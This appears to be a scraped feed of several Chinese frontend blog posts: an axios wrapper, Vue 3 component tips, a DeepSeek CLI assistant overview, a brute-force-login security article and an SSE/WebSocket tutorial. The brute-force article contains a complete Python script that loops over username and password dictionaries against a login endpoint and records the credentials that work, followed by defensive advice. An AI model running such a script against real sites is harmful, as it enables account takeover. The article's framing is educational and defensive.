// TODO
baseURL: "/api",
timeout: 60000,
headers: {
"Content-Type": "application/json",
},
...config,
});

// 请求拦截器
instance.interceptors.request.use((config) => {
const { token } = getUserStore();
// 如果有 token 强制带上 token
if (token && config.url && !noTokenList.includes(config.url))
config.headers.Authorization = token;
return config;
}, requestInterceptorsError);
// 响应拦截器
instance.interceptors.response.use(
responseInterceptors,
responseInterceptorsError
);
return instance;
};

const axiosRequest = <T>(axiosParams: AxiosConfig): Promise<T | null> => {
const { method = "GET", url, params, data, config } = axiosParams;
const request = createAxiosByInterceptors(axiosParams);

switch (method) {
case "GET":
return request.get(url, { ...params, ...config });
case "POST":
return request.post(url, data, config);
case "DELETE":
return request.delete(url, { ...data, ...config });
case "PUT":
return request.put(url, { ...data, ...config });
default:
// 需要添加错误请求
return Promise.resolve(null);
}
};

export default axiosRequest;


Pinia状态管理配置


分模块处理用户信息和配置信息,可自加,具体看源码


image.png


layout布局


采用通用的左右分模式


image.png
layout组件非常支持自定义、自定性强可根据需求随意改动


通用登录页


看图


image.png


二次封装组件


组件代码全在components文件中可自行修改符合需求的组件


CombineTable


看图就知道有多方便使用了,这点代码就可以生成一个表单查询+表格


image.png


结语


这个框架很轻、几乎拿来就能开发了;


github:github.com/jesseice/an…


可以通过脚手架使用,输入npm create wyd_cli即可下载


框架还会继续优化!!!


作者:trim
来源:juejin.cn/post/7382411119326740507
收起阅读 »

分享VUE3编写组件高级技巧,优雅!

web
在这里,主要分享一些平时写VUE组件,会用到一些技巧,会让代码得到很大的简化,可以节省很多脑力体力。 1、v-bind=“$attrs” 这是首推的一个技巧写法,特别在拓展开源组件时,无缝使用开源组件各种props值时,简直不要太爽。 比如element-ui...
继续阅读 »

在这里,主要分享一些平时写VUE组件,会用到一些技巧,会让代码得到很大的简化,可以节省很多脑力体力。


1、v-bind=“$attrs”


这是首推的一个技巧写法,特别在拓展开源组件时,无缝使用开源组件各种props值时,简直不要太爽。


比如element-ui组件中的select组件,就有一个让人痛恨的点,就是options数据无法配置,必须得手动引入option组件才行,如下:


 <el-select v-model="value" placeholder="Select" size="large">  
<el-option v-for="item in options" :key="item.value" :label="item.label" :value="item.value" />
</el-select>

身为一个优秀前端前端佬,这哪里能忍!


技巧随之用来,我们就可以使用上面这个,创建一个自定义select组件,既能享用原组件的各种配置属性和事件
(P.S. 如果需要组件上使用自定义事件,比如change事件,属性上定义为’onChange': ()=>{}。),也可以自定义一些功能,创建一个customSelect.vue:


<el-select v-model="selectedValue" v-bind="attts">
<el-option v-for="(item) in customOptions" v-bind="item"/>
</el-select>

这样在动态引用这个组件,就能使用自定义的customOptions这个属性。


上面例子主要说明,v-bind="$attr"的好处。但还是得多说一句,上面例子中的一些缺点。



  1. 无法直接使用el-select对外暴露的方法;

  2. 无法直接使用el-select的slot分发;


然后需要注意一个点,得在customSelect.vue组件中,设置inheritAttrs为false,防止数据在组件上一层层透传下去。


2、improt { h } from vue


h为vue中的渲染函数,主要用来创建虚拟 DOM 节点 (vnode)。对应参数,可以戳这里,看官方详细正宗介绍。


对应这个连接中,有很多渲染函数的介绍。这系列有一个很大的特点,那就是用的魔怔了,就会一不小心把VUE变成“React”,损失掉VUE框架中的一些优点。


自由度非常高。仅仅针对这个H函数举例,还是援用上面的例子,实现如下(代码片段):


<scirpt>
import {defineComponent, h} from 'vue'
import {ElSelect, ElOption} from 'element-plus'

export default definComponent({
name:'DynamicSelect',
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
setup(props) {
return () = >
h(ElSelect, () =>
props.options.map(options =>
h(ElOption, {
key:option.value,
label:option.label,
value:option.value,
})
)
)
}
})
<script>

足够清爽,简单。


3、render


render,用于编程式地创建组件虚拟 DOM 树的函数。解释链接,可以戳这里


废话不多说,直接以上面的例子,用render方式撸一遍。


<!-- <template>
<div>1</div>
<template> -->

<scirpt>
import {defineComponent, h} from 'vue'
import {ElSelect, ElOption} from 'element-plus'

export default definComponent({
name:'DynamicSelect',
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
render(_ctx) {
return () = >
h(ElSelect, () =>
_ctx.options.map(options =>
h(ElOption, {
key:option.value,
label:option.label,
value:option.value,
})
)
)
}
})
<script>

不能说实现的方式跟上面相似,简直说是一模一样。主要在于render做了template要做的事,但相比较template少一层解析,理论上会比template更高效。


需要注意一点,这里放出官网的描述:



如果一个组件中同时存在 render 和 template,则 render 将具有更高的优先级



正常理解的话,是render渲染出的vnode会高于template解析出的vnode,同时存在,render会覆盖掉template。


但在经过VUE的v3.3.4版本中操作,template会覆盖掉render。所以这个优先级,猜测可能是render会优先解析,具体得翻源码,待理解后继续更新。


4、getCurrentInstance


这个是获取当前组件实例的方法,属于核弹级别的方法,也属于VUE3官网文档中翻不到的东西。


但鲁迅说的好,路走的多了,那就成路了。如果社区用的人多了,那么它就有可能提上去!


image.png


言归正传,那么拿了这个组件的实例,能干什么呢?


那可干的事情,就可多可多了。


比如改个,调个组件方法,这都算小儿科,完全不用担心这里readOnly,那里ReadonlyReactiveHandler


猛一点,直接硬插,换个上下文。



再猛的,先假设:组件实例 === 组件,组件 === VUE,VUE === YYX写的,然后你写了一点代码+VUE,是不是由此可得,你的代码 》 VUE ,进而证明 你 》 YYX。嗯?


93B1A00879A9B67271080936B8A2D89CE1D69417_size242_w423_h220.gif


5、extends


先来一段官方的介绍:



从实现角度来看,extends 几乎和 mixins 相同。通过 extends 指定的组件将会当作第一个 mixin 来处理。


然而,extends 和 mixins 表达的是不同的目标。mixins 选项基本用于组合功能,而 extends 则一般更关注继承关系。



缺点上,第1节有提一个,但还有一个不算是缺点的缺点,相同属性和方法会直接覆盖被继承的组件(钩子函数不会被覆盖),主要在于是否熟悉被继承的组件中的逻辑。用的好就很好,用的不行,就真的很不行。


如果还是用上面的例子作为例子,实现方法如下:


<scirpt>
import {defineComponent, createVNode, render, getCurrentInstance } from 'vue'
import {ElSelect, ElOption} from 'element-plus'

export default definComponent({
name:'DynamicSelect',
extends:ElSelect,
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
setup(props) {
return ElSelect.setup(props, context)
},
mounted(){
const curInstance = getCurrentInstance()
const container = doucment.createElement('div')

this.$props.options.forEach(options => {
const vNode = createVNode(ElOption,{
key:option.value,
label:option.label,
value:option.value,
})
})

const currrentProvides = curInstance?.provides
if(currrentProvides){
// 将ELSelect的Provides,传入到ElOption中
reflect.set(curInstance?.appContext,'provides',{...currrentProvides})
}
vNode.appContext = curInstance?.appContext
render(vNode,container)
this.$el.appendChild(container)
}
})
<script>

但这种,确实是为了实现那个例子而写的代码。有些可以作为参考。


暂时分享这些,欢迎前端佬们拍砖。


作者:大怪v
来源:juejin.cn/post/7450836153258049572
收起阅读 »

用 DeepSeek 打造你的超强代码助手

大家好,今天我想给你们介绍一个我最近发现的工具,叫 DeepSeek Engineer。它是一个专门为开发者打造的代码助手应用,可以帮你读文件、改文件,甚至生成代码。更厉害的是,它完全基于 DeepSeek API,能实时生成 JSON 格式的响应,让你的开发...
继续阅读 »

大家好,今天我想给你们介绍一个我最近发现的工具,叫 DeepSeek Engineer。它是一个专门为开发者打造的代码助手应用,可以帮你读文件、改文件,甚至生成代码。更厉害的是,它完全基于 DeepSeek API,能实时生成 JSON 格式的响应,让你的开发体验提升一个档次。





DeepSeek Engineer 是啥?


简单来说,DeepSeek Engineer 是一个基于命令行的智能助手。它能帮你完成这些事:



  • 快速读文件内容:比如你有个配置文件,直接用命令把它加载进助手,后续所有操作都可以基于这个文件。

  • 自动改文件:它不仅能提建议,还可以直接生成差异表(diff),甚至自动应用修改。

  • 智能代码生成:比如你让它生成代码片段,它会按照指定格式和规则直接返回。



更重要的是,这一切都是通过 DeepSeek 的强大 API 来实现的。想象一下,你有个贴身助手,不仅能听懂你的代码需求,还能直接动手帮你写!




核心功能拆解


我们先来看 DeepSeek Engineer 的几个核心能力,让你更好地理解它的强大之处。


1. 自动配置 DeepSeek 客户端


启动这个工具时,你只需要准备一个 .env 文件,里面写上你的 API Key,比如:


DEEPSEEK_API_KEY=your_api_key_here

然后它会自动帮你连接到 DeepSeek 的服务器(地址通过环境变量配置)。接下来,所有的对话和操作都走这个 API,让你体验到类似 GPT 的流畅交互。





2. 数据模型:严格又灵活


DeepSeek Engineer 使用了 Pydantic 来定义和管理数据模型,这保证了所有操作都很安全且清晰。比如,它的模型包括以下几个部分:



  • FileToCreate:描述新建或更新的文件。

  • FileToEdit:定义某个文件里需要替换的代码片段。

  • AssistantResponse:用来结构化处理助手返回的对话内容和文件操作。


具体来说,如果你想改文件内容,可以让它返回一个 JSON 格式的修改建议,类似这样:


{
"file": "example.py",
"changes": [
{
"original": "print('Hello')",
"replacement": "print('Hello, DeepSeek!')"
}
]
}

这种方式既直观又安全,你完全可以放心地应用这些修改。




3. 强大的系统 Prompt


DeepSeek Engineer 背后有一个设计得非常好的系统 Prompt,它会引导对话始终输出结构化的 JSON 数据,同时还能支持文件创建和编辑操作。



这个设计的好处是,开发者不用担心助手回复出错或格式混乱。所有的响应都像程序接口一样,清晰、标准。




4. 常用 Helper 函数


工具中还提供了一些实用的函数,专门用来操作文件和内容:



  • read_local_file:快速读取本地文件内容,返回成字符串。

  • create_file:帮你新建或覆盖文件。

  • show_diff_table:生成一个漂亮的差异表,展示文件修改前后的对比。

  • apply_diff_edit:直接应用代码片段级别的修改。


比如,你想更新一个文件里的某段代码,只需输入以下命令:


/add path/to/file

DeepSeek 会把这个文件的内容加载进来,你可以继续对话,让它生成修改建议并直接应用到文件中。




5. 交互式会话


运行主程序(比如 python3 main.py),你会进入一个交互式的命令行界面。这里你可以随时输入请求、加载文件,或者让助手生成代码。


完整操作流程可以是这样的:



  1. 启动工具:
    python3 main.py


  2. 加载一个文件:
    /add example.py


  3. 让助手修改内容:
    请把函数 `foo` 改成返回值为整数。


  4. 查看生成的建议并确认应用。


是不是很贴心?




与其他工具的对比


市面上其实有不少类似的代码助手,比如 GitHub Copilot、TabNine 等。那么 DeepSeek Engineer 和它们相比有什么特别之处呢?我们通过下表来简单对比一下:


功能DeepSeek EngineerGitHub CopilotTabNine
文件内容读取✅ 支持❌ 不支持❌ 不支持
文件修改和应用✅ 支持❌ 不支持❌ 不支持
JSON 响应结构化✅ 内置支持❌ 不支持❌ 不支持
离线使用❌ 需要联网❌ 需要联网✅ 部分支持
灵活性和可定制性✅ 可配置 Prompt❌ 不支持❌ 不支持

可以看出,DeepSeek Engineer 更加注重文件操作和开发流程的实际需求,非常适合需要精确控制和定制化的场景。




如何快速上手?


最后,说点大家最关心的:怎么用?



  1. 准备环境



    • 安装依赖:
      pip install -r requirements.txt


    • 配置 API Key:创建 .env 文件,写入你的 Key。



  2. 启动工具



    • 直接运行主程序:
      python3 main.py




  3. 体验功能



    • /add 命令加载文件:
      /add your_file.py


    • 提出需求,让助手生成代码或修改建议。



  4. 探索更多用法



    • 修改配置,试试用不同的环境变量自定义连接方式。






作者:老码小张
来源:juejin.cn/post/7454888708588945443
收起阅读 »

前端安全问题 - 爆破登录

web
声明:本文仅供学习和研究用途,请勿用作违法犯罪之事,若违反则与本人无关。 暴力破解登录是一种常见的前端安全问题,属于未授权访问安全问题的一种,攻击者尝试使用不同的用户名和密码组合来登录到受害者的账户,直到找到正确的用户名和密码组合为止。攻击者可以使用自动化工...
继续阅读 »

声明:本文仅供学习和研究用途,请勿用作违法犯罪之事,若违反则与本人无关。



暴力破解登录是一种常见的前端安全问题,属于未授权访问安全问题的一种,攻击者尝试使用不同的用户名和密码组合来登录到受害者的账户,直到找到正确的用户名和密码组合为止。攻击者可以使用自动化工具,如字典攻击、暴力攻击等来加快攻击速度。这种攻击通常针对用户使用弱密码、没有启用多因素身份验证等情况。


一、发现问题


常见情况


Web 应用的登录认证模块容易被暴破登录的情况有很多,以下是一些常见的情况:



  1. 弱密码:如果用户的密码过于简单,容易被暴破猜解,例如使用常见的密码或者数字组合,或者密码长度太短。

  2. 没有账户锁定机制:如果网站没有设置账户锁定机制,在多次登录失败后未对账户进行锁定,攻击者可以继续尝试暴破登录。

  3. 未加密传输:如果用户在登录时使用的是未加密的 HTTP 协议进行传输,攻击者可以通过网络抓包等方式获取用户的账户名和密码,从而进行暴破登录。

  4. 没有 IP 地址锁定:如果网站没有设置 IP 地址锁定机制,在多次登录失败后不对 IP 地址进行锁定,攻击者无限制的继续尝试暴破登录。

  5. 没有输入验证码:如果网站没有输入验证码的机制,在多次登录失败后不要求用户输入验证码,攻击者可以通过自动化程序进行暴破登录。

  6. 使用默认账户名和密码:如果网站的管理员或用户使用了默认的账户名和密码,攻击者可以通过枚举默认账户名和密码的方式进行暴破登录。


常用工具


为了检测 Web 应用的登录认证模块是否存在暴破登录漏洞,可以使用以下工具:



  1. Burp Suite:Burp Suite 是一款常用的 Web 应用程序安全测试工具,其中包含了许多模块和插件,可用于检测网站的登录认证模块是否存在暴破登录漏洞。

  2. OWASP ZAP:OWASP ZAP 是一个免费的 Web 应用程序安全测试工具,可以用于检测登录认证模块的安全性,并提供一系列的攻击模拟工具。


需要注意的是,这些工具只应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。


二、分析问题


对目标 Web 应用进行暴破登录攻击实例:


1. 通过 Google Chrome 开发者工具查看登录请求接口地址、请求参数和响应数据等信息


可以在登录界面随意输入一个账号和密码,然后点击登录,即可在开发者工具的网络面板查看登录接口相关信息。



  • 请求地址:


    img


    由图可知,应用使用的是 HTTP 协议,而不是更安全的 HTTPS 协议。


  • 请求参数:


    img


    由图可知,登录接口的请求参数用户名和密码用的都是明文。


  • 响应数据:


    img



2. 构建目标 Web 应用 URL 字典、账号字典和密码字典



  • URL 字典 url.txt:


    	http://123.123.123.123:1234/


  • 账号字典 usr.txt


    	admin

    admin 是很多 Web 后端管理应用常用的管理员默认账号。


  • 密码字典 pwd.txt:


    	1234

    12345

    123456

    密码字典是三个被常用的弱密码。



3. 暴力破解登录代码示例


Python 脚本代码示例:


	from io import TextIOWrapper

import json

import logging

import os

import time

import requests

from requests.adapters import HTTPAdapter



g_input_path = './brute_force_login/input/'

g_output_path = './brute_force_login/output/'



def log():

# 创建日志文件存放文件夹

root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))

log_dir = os.path.join(root_dir, 'logs', 'brute_force_login')



if not os.path.exists(log_dir):

os.mkdir(log_dir)



# 创建一个日志器

logger = logging.getLogger("logger")



# 设置日志输出的最低等级,低于当前等级则会被忽略

logger.setLevel(logging.INFO)



# 创建处理器:sh为控制台处理器,fh为文件处理器

sh = logging.StreamHandler()



# 创建处理器:sh为控制台处理器,fh为文件处理器,log_file为日志存放的文件夹

log_file = os.path.join(log_dir, "{}.log".format(

time.strftime("%Y-%m-%d", time.localtime())))

fh = logging.FileHandler(log_file, encoding="UTF-8")



# 创建格式器,并将sh,fh设置对应的格式

formator = logging.Formatter(

fmt="%(asctime)s %(levelname)s %(message)s", datefmt="%Y/%m/%d %X")



sh.setFormatter(formator)

fh.setFormatter(formator)



# 将处理器,添加至日志器中

logger.addHandler(sh)

logger.addHandler(fh)



return logger



globalLogger = log()



def myRequest(url: str, method: str, data, proxyIpPort="localhost", authorizationBase64Str=''):

# 请求头

headers = {

"content-type": "application/json",

'User-Agent': 'Mozilla/5.0 (Macint0sh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',

}



if authorizationBase64Str != '':

headers['Authorization'] = 'Basic ' + authorizationBase64Str



proxies = {}

if proxyIpPort != "localhost":

proxies = {

"http": "http://" + proxyIpPort,

"https": "http://" + proxyIpPort

}



try:

s = requests.Session()

# 配置请求超时重试

s.mount('http://', HTTPAdapter(max_retries=1))

s.mount('https://', HTTPAdapter(max_retries=1))



response =

# 构造发送请求

if method == 'get':

response = s.get(url=url, headers=headers, data=data,

proxies=proxies, timeout=(3.05, 1))

elif method == 'post':

response = s.post(url=url, headers=headers, data=data,

proxies=proxies, timeout=(3.05, 1))

else:

globalLogger.warning("Request Method Invalid")

return 'RequestException'

# 响应数据

globalLogger.info(

"MyRequest Request ResponseText:\n {}".format(response.text))

return response.text

except requests.exceptions.RequestException as e:

globalLogger.warning("RequestException: {}".format(e))

return 'RequestException'





def getStrListFromFile(fileContent: TextIOWrapper):

return fileContent.read().rstrip('\n').replace('\n', ';').split(';')





def attackTargetSite(url: str, usr: str, pwd: str):

reStr = 'FAIL'



fullUrl = url + 'webapp/web/login'

globalLogger.info("attackTargetSite Request Url: {}".format(fullUrl))



reqData = {

"name": usr,

"password": pwd

}



resp = myRequest(fullUrl, 'post', json.dumps(reqData).encode("utf-8"))



if '"status":200' in resp:

reStr = 'SUCCESS'

elif 'RequestException' in resp:

reStr = 'RequestException'



return reStr



def attack():

try:

input_path = g_input_path



# 读取url文件

input_url_filename = 'url.txt'

urlFileContent = open(os.path.join(

input_path, input_url_filename), 'r')

url_list = getStrListFromFile(urlFileContent)



# 读取用户名字典文件

input_usr_filename = 'usr.txt'

usrFileContent = open(os.path.join(

input_path, input_usr_filename), 'r')

usr_list = getStrListFromFile(usrFileContent)



# 读取密码字典文件

input_pwd_filename = 'pwd.txt'

pwdFileContent = open(os.path.join(

input_path, input_pwd_filename), 'r')

pwd_list = getStrListFromFile(pwdFileContent)



# 输出文件路径及名称

output_path = g_output_path

output_hacked_url = 'hackedUrlAndPwd.txt'



with open(os.path.join(output_path, output_hacked_url), 'w') as output_file:

i = 0

for url in url_list:

i += 1

j = 0

for usr in usr_list:

j += 1

resp = 'FAIL'

k = 0

for pwd in pwd_list:

k += 1

resp = attackTargetSite(url, usr, pwd)

if resp == 'SUCCESS':

output_file.write(url + '\n')

output_file.write('{}:{}\n'.format(usr, pwd))

# 数据实时写入文件(无缓冲写入)

output_file.flush()



pStr = "[SUCCESS {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] success".format(

i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)

globalLogger.info(pStr)

break

elif 'RequestException' in resp:

pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(

i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)

globalLogger.info(pStr)

break

else:

pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(

i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)

globalLogger.info(pStr)

if resp == 'SUCCESS':

break

elif 'RequestException' in resp:

break



finally:

if urlFileContent:

urlFileContent.close()

if usrFileContent:

usrFileContent.close()

if pwdFileContent:

pwdFileContent.close()

if pipFileContent:

pipFileContent.close()



attack()

上述 Python 代码中导入了 io、json、logging、os、time 和 requests 模块。 log 函数用于设置日志文件的路径和格式,以及创建日志记录器,并返回该记录器。 myRequest 函数用于发送 HTTP 请求,并返回响应文本。函数 attackTargetSite 用于攻击目标网站的登录页面。最后,函数 attack 读取 url.txt、usr.txt 和 pwd.txt 文件,以此作为参数进行攻击,并将破解的网站和密码保存到 hackedUrlAndPwd.txt 文件中。


成功破解的目标站点将 URL、账号和密码保存到 hackedUrlAndPwd.txt 文件中,如:


	http://123.123.123.123:1234/

admin:1234

其中, http://123.123.123.123:1234/ 为目标 Web 应用站点的 URL,admin 为账号,1234 为密码。


由上述代码可知,在目标 Web 应用站点存在使用弱密码、默认账户和密码(弱)、无锁定账户功能、无验证码功能等情况下,暴破登录是很容易成功的。


三、解决问题


防范措施


以下是一些预防暴力破解登录的措施:



  1. 强制密码复杂度:应用程序应该强制用户使用复杂的密码,如包含数字、字母和符号,并设置密码最小长度限制,以减少暴力破解的成功率。

  2. 锁定账户:应用程序应该有一个策略来锁定用户账户,例如,如果用户连续多次输入错误的密码,应该锁定账户一段时间,以减少暴力破解攻击的成功率。

  3. 安全加密:密码应该使用安全的加密方式进行存储,以防止攻击者获取敏感信息。开发人员应该使用强密码哈希算法,并对散列值使用盐进行加密,从而增加破解难度。

  4. IP 地址锁定:设置 IP 地址锁定机制,在多次登录失败后对 IP 地址进行锁定,增加攻击者的攻击成本,当然,攻击者也是可以通过更换代理 IP 的方式继续尝试暴破登录。

  5. 添加验证码:添加验证码是一种简单而有效的防止暴力破解登录的方法。在登录界面添加验证码,可以有效地防止自动化工具的攻击。

  6. 检查 IP 地址:可以在用户登录时记录用户的 IP 地址,并在未授权的 IP 地址尝试登录时触发警报或阻止登录。

  7. 多因素身份验证:多因素身份验证是一种额外的安全层,通过使用至少两种身份验证因素来验证用户的身份,增加攻击者成功攻击的难度。通常,多因素身份验证会结合密码和另一种身份验证因素,如短信验证码、邮件验证、令牌等。

  8. 加强日志监控:开发人员应该在应用程序中记录关键事件和操作,并实时监控和分析日志,以发现潜在的安全威胁。


防御工具


以下是一些应对暴力破解登录的常用工具:



  1. Wireshark:Wireshark 是一个免费的网络协议分析工具,可以用于监视和分析网络数据包。通过使用 Wireshark,可以捕获网站登录认证过程中的网络数据包,以检查是否存在攻击者使用的暴破攻击模式。

  2. Fail2Ban:Fail2Ban 是一个安全性程序,可用于防止恶意暴破登录行为。它使用规则来检测多个失败登录尝试,并暂时禁止来自相同 IP 地址的任何进一步尝试。通过 Fail2Ban,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。

  3. Web Application Firewall(WAF):Web 应用程序防火墙是一种用于保护 Web 应用程序的安全性的网络安全控制器。WAF 可以检测和阻止恶意的登录尝试,并提供实时保护。通过使用 WAF,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。

  4. Log File Analyzer:日志文件分析工具可以用于分析网站日志文件,以确定是否存在任何异常登录尝试。通过分析登录活动的日志,可以发现任何暴破攻击的痕迹,并识别攻击者的 IP 地址。


需要注意的是,这些工具仅应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。在进行安全测试时,应获得相关方的授权和许可,并遵循合适的安全测试流程和规范。


作者:庚云
来源:juejin.cn/post/7407610458788200475
收起阅读 »

如果让你实现实时消息推送你会用什么技术?轮询、websocket还是sse

web
前言 在日常的开发过程中,我们经常能碰见到需要主动推送消息给客户端数据的业务场景,比如数据大屏幕实时数据,聊天消息推送等等。 本文介绍sse: 服务端向客户端推送数据的方式有哪几种呢? WebSocket SSE 长轮询 轮询简介 长轮询是一种模拟实时通...
继续阅读 »

前言


在日常的开发过程中,我们经常能碰见到需要主动推送消息给客户端数据的业务场景,比如数据大屏幕实时数据,聊天消息推送等等。
本文介绍sse:


image.png
服务端向客户端推送数据的方式有哪几种呢?



  • WebSocket

  • SSE

  • 长轮询


轮询简介


长轮询是一种模拟实时通信的技术。在传统的Http请求中,客户端向服务端发送请求,并且在完成请求后立即响应,然后连接关闭。这意味着客户端需要不停的发送请求来更新数据。


相比之下,长轮询的思想是客户端发送一个Http到服务端,服务端不立即返回响应。相反,服务端会保持该请求打开,直到有新的数据可用或超时。如果有新的数据可用,服务端会立即返回响应,并关闭连接。此时,客户端会重新发起一个新的请求,继续等待新的数据。


使用长轮询的优势在于,它在大部分的浏览器中有更好的兼容性,因为它使用的是Http协议。缺点就是较高的延迟性、较大的资源消耗、以及大量并发操作可能导致服务端资源的瓶颈和一些浏览器对并发请求数目进行了限制比如chorme最大并发数目为6,这个限制前提是针对同一个域名下,超过这一限制后续请求就会堵塞。


websocket简介


websocket是一个双向通信的协议,它支持客户端和服务端彼此之间进行通信。功能强大。
缺点就是是一个新的协议,ws/wss,也就是说支持http协议的不一定支持ws协议。相比较websocket结构复杂并且比较重。


SSE简介


sse是一个单向通讯的协议也是一个长链接,它只能支持服务端主动向客户端推送数据,但是无法让客户端向服务端推送消息。


SSE的优点是,它是一个轻量级的协议,相对于websockte来说,他的复杂度就没有那么高,相对于客户端的消耗也比较少。而且_SSE使用的是http协议_(websocket使用的是ws协议),也就是现有的服务端都支持SSE,无需像websocket一样需要服务端提供额外的支持。


websocket和SSE有什么区别?


轮询


对于当前计算机的发展来说,几乎很少出现同时不支持websocket和sse的情况,所以轮询是在极端情况下浏览器实在是不支持websocket和see的下策。


Websocket和SSE


我们一般的服务端和客户端的通讯基本上使用这两个方案。首先声明:这两个方案没有绝对的好坏,只有在不同的业务场景下更好的选择。


SSE的官方对于SSE和Websocket的评价是



  1. WebSocket是全双工通道,可以双向通信,功能更强;SSE是单向通道,只能服务器向浏览器端发送。

  2. WebSocket是一个新的协议,需要服务器端支持;SSE则是部署在HTTP协议之上的,现有的服务器软件都支持。

  3. SSE是一个轻量级协议,相对简单;WebSocket是一种较重的协议,相对复杂。

  4. SSE默认支持断线重连,WebSocket则需要额外部署。

  5. SSE支持自定义发送的数据类型。


Websocket和SSE分别适用于什么业务场景?


对于SSE来说,它的优点就是轻,而且对于服务端的支持度要更好。换言之,可以使用SSE完成的功能需求,没有必要使用更重更复杂的websocket。


比如:数据大屏的实时数据,消息中心的消息推送等一系列只需要服务端单方面推送而不需要客户端同时进行反馈的需求,SSE就是不二之选。


对于Websocket来说,他的优点就是可以同时支持客户端和服务端的双向通讯_。所适用的业务场景:最典型的就是聊天功能。这种服务端需要主动向客户端推送信息,并且客户端也有向服务端推送消息的需求时,Websocket就是更好的选择。


SSE有哪些主要的API?


建立一个SSE链接 :var source = new EventSource(url);


SSE连接状态


source.readyState



  • 0,相当于常量EventSource.CONNECTING,表示连接还未建立,或者连接断线。

  • 1,相当于常量EventSource.OPEN,表示连接已经建立,可以接受数据。

  • 2,相当于常量EventSource.CLOSED,表示连接已断,且不会重连。


SSE相关事件



  • open事件(连接一旦建立,就会触发open事件,可以定义相应的回调函数)

  • message事件(收到数据就会触发message事件)

  • error事件(如果发生通信错误(比如连接中断),就会触发error事件)


数据格式


Content-Type: text/event-stream //文本返回格式  
Cache-Control: no-cache  //不要缓存
Connection: keep-alive //长链接标识

如何实操一个SSE链接?Demo↓


这里Demo前端使用的就是最基本的html静态页面连接,没有使用任何框架。后端选用语言是node,框架是Express。


理论上,把这两段端代码复制过去跑起来就直接可以用了。



  1. 第一步,建立一个index.html文件,然后复制前端代码Demo到index.html文件中,打开文件

  2. 第二步,进入一个新的文件夹,建立一个index.js文件,然后将后端Demo代码复制进去,然后在该文件夹下执行


npm init          //初始化npm         
npm i express     //下载node express框架
node index        //启动服务

上面三行之中,第一行的Content-Type必须指定 MIME 类型为event-steam
每一次发送的信息,由若干个message组成,每个message之间用\n\n分隔。每个message内部由若干行组成,每一行都是如下格式。


[field]: value\n

上面的field可以取四个值。


-   data
- event
- id
- retry

此外,还可以有冒号开头的行,表示注释。通常,服务器每隔一段时间就会向浏览器发送一个注释,保持连接不中断。


: This is a comment

data 字段


数据内容用data字段表示


data:  message\n\n

如果数据很长,可以分成多行,最后一行用\n\n结尾,前面行都用\n结尾。


data: begin message\n
data: continue message\n\n

下面是一个发送 JSON 数据的例子。


data: {\n
data: "foo": "bar",\n
data: "baz", 555\n
data: }\n\n

id 字段


数据标识符用id字段表示,相当于每一条数据的编号。


id: msg1\n
data: message\n\n

浏览器用lastEventId属性读取这个值。一旦连接断线,浏览器会发送一个 HTTP 头,里面包含一个特殊的Last-Event-ID头信息,将这个值发送回来,用来帮助服务器端重建连接。因此,这个头信息可以被视为一种同步机制。


event 字段


event字段表示自定义的事件类型,默认是message事件。浏览器可以用addEventListener()监听该事件。




event: foo\n
data: a foo event\n\n

data: an unnamed event\n\n

event: bar\n
data: a bar event\n\n


retry 字段


服务器可以用retry字段,指定浏览器重新发起连接的时间间隔。




retry: 10000\n


两种情况会导致浏览器重新发起连接:一种是时间间隔到期,二是由于网络错误等原因,导致连接出错。


上面的代码创造了三条信息。第一条的名字是foo,触发浏览器的foo事件;第二条未取名,表示默认类型,触发浏览器的message事件;第三条是bar,触发浏览器的bar事件。


image.png
前端代码


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<ul id="ul"></ul>
</body>
<script>
//生成li元素
function createLi(data) {
let li = document.createElement("li");
li.innerHTML = String(data.message);
return li;
}

//判断当前浏览器是否支持SSE
let source = "";
if (!!window.EventSource) {
source = new EventSource("http://localhost:8088/sse/");
} else {
throw new Error("当前浏览器不支持SSE");
}

//对于建立链接的监听
source.onopen = function (event) {
console.log(source.readyState);
console.log("长连接打开");
};

//对服务端消息的监听
source.onmessage = function (event) {
console.log(JSON.parse(event.data));
console.log("收到长连接信息");
let li = createLi(JSON.parse(event.data));
document.getElementById("ul").appendChild(li);
};

//对断开链接的监听
source.onerror = function (event) {
console.log(source.readyState);
console.log("长连接中断");
};
</script>
</html>



后端代码


const express = require("express"); //引用框架
const app = express(); //创建服务
const port = 8088; //项目启动端口

//设置跨域访问
app.all("*", function (req, res, next) {
//设置允许跨域的域名,*代表允许任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
//允许的header类型
res.header(
"Access-Control-Allow-Headers",
"Content-Type, Authorization, X-Requested-With"
);
//跨域允许的请求方式
res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS");
// 可以带cookies
res.header("Access-Control-Allow-Credentials", true);
if (req.method == "OPTIONS") {
res.sendStatus(200);
} else {
next();
}
});

app.get("/sse", (req, res) => {
res.set({
"Content-Type": "text/event-stream", //设定数据类型
"Cache-Control": "no-cache", // 长链接拒绝缓存
Connection: "keep-alive", //设置长链接
});

console.log("进入到长连接了");
//持续返回数据
setInterval(() => {
console.log("正在持续返回数据中ing");
const data = {
message: `Current time is ${new Date().toLocaleTimeString()}`,
};
res.write(`data: ${JSON.stringify(data)}\n\n`);
}, 1000);
});

//创建项目
app.listen(port, () => {
console.log(`项目启动成功-http://localhost:${port}`);
});


20240229103040.gif


参考文章:http://www.ruanyifeng.com/blog/2017/0…


